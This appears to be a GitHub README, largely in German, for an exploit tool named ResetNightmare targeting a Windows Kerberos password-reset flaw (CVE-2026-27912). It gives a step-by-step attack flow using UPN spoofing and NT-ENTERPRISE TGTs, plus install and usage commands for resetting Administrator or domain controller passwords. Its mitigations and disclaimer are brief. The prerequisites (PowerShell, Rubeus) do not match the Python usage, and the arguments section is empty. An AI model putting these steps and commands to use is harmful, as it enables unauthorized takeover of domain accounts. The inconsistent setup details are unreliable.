Kerberos-CVE-2026-27912

CVE-2026-27912 – Windows-Kerberos-Sicherheitsanfälligkeit (Erhöhung von Berechtigungen)

ResetNightmare – Nicht autorisiertes Zurücksetzen von Passwörtern durch einen Fehler im Kerberos-Kennwortänderungsprotokoll.

📋 Details

🔍 Angriffsablauf

1. Attacker has/creates account with UPN write permissions
2. Sets fake UPN to target's sAMAccountName
3. Requests TGT with NT-ENTERPRISE name type
4. Clears their own UPN
5. Uses TGT to reset target's password
6. Verifies password change success

📦 Voraussetzungen

• Windows mit PowerShell
• ActiveDirectory-Modul (Install-WindowsFeature RSAT-AD-PowerShell)
• Rubeus.exe (Download von GhostPack/Rubeus)
• Netzwerkzugriff auf den Domänencontroller

🚀 Installation

# Clone repository
git clone https://github.com/oxstussz-eng/Kerberos-CVE-2026-27912.git
cd Kerberos-CVE-2026-27912

# Install dependencies
pip install -r requirements.txt

💻 Verwendung

Basisangriff

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass

Zielcomputerkonto

python resetnightmare.py -t DC01$ -p NewPass123 -u AttackUser -up AttackPass -c

Neues Konto erstellen

python resetnightmare.py -t Admin -p NewPass -u NewUser -up Pass -path "OU=Temp,DC=domain,DC=local"

Ausführlicher Modus

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass -v

📊 Argumente

🛡️ Gegenmaßnahmen

1. Offiziellen Patch anwenden aus dem Microsoft-Sicherheitsupdate
2. Netzwerk segmentieren, um den Zugriff auf benachbarte Netzwerke einzuschränken
3. Prinzip der geringsten Rechte durchsetzen – UPN-Schreibberechtigungen einschränken
4. Überwachen auf verdächtige UPN-Änderungen und Passwortzurücksetzungen

⚠️ Haftungsausschluss

Nur für autorisierte Sicherheitstests und zu Bildungs- und Forschungszwecken.

Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für den Missbrauch dieser Software.

📚 Referenzen

• NVD: CVE-2026-27912
• Microsoft Security Update Guide

👨‍💻 Autor

n0vax1337 / Sicherheitsforscher

📄 Lizenz

MIT-Lizenz – siehe LICENSE

Zuletzt aktualisiert: 2026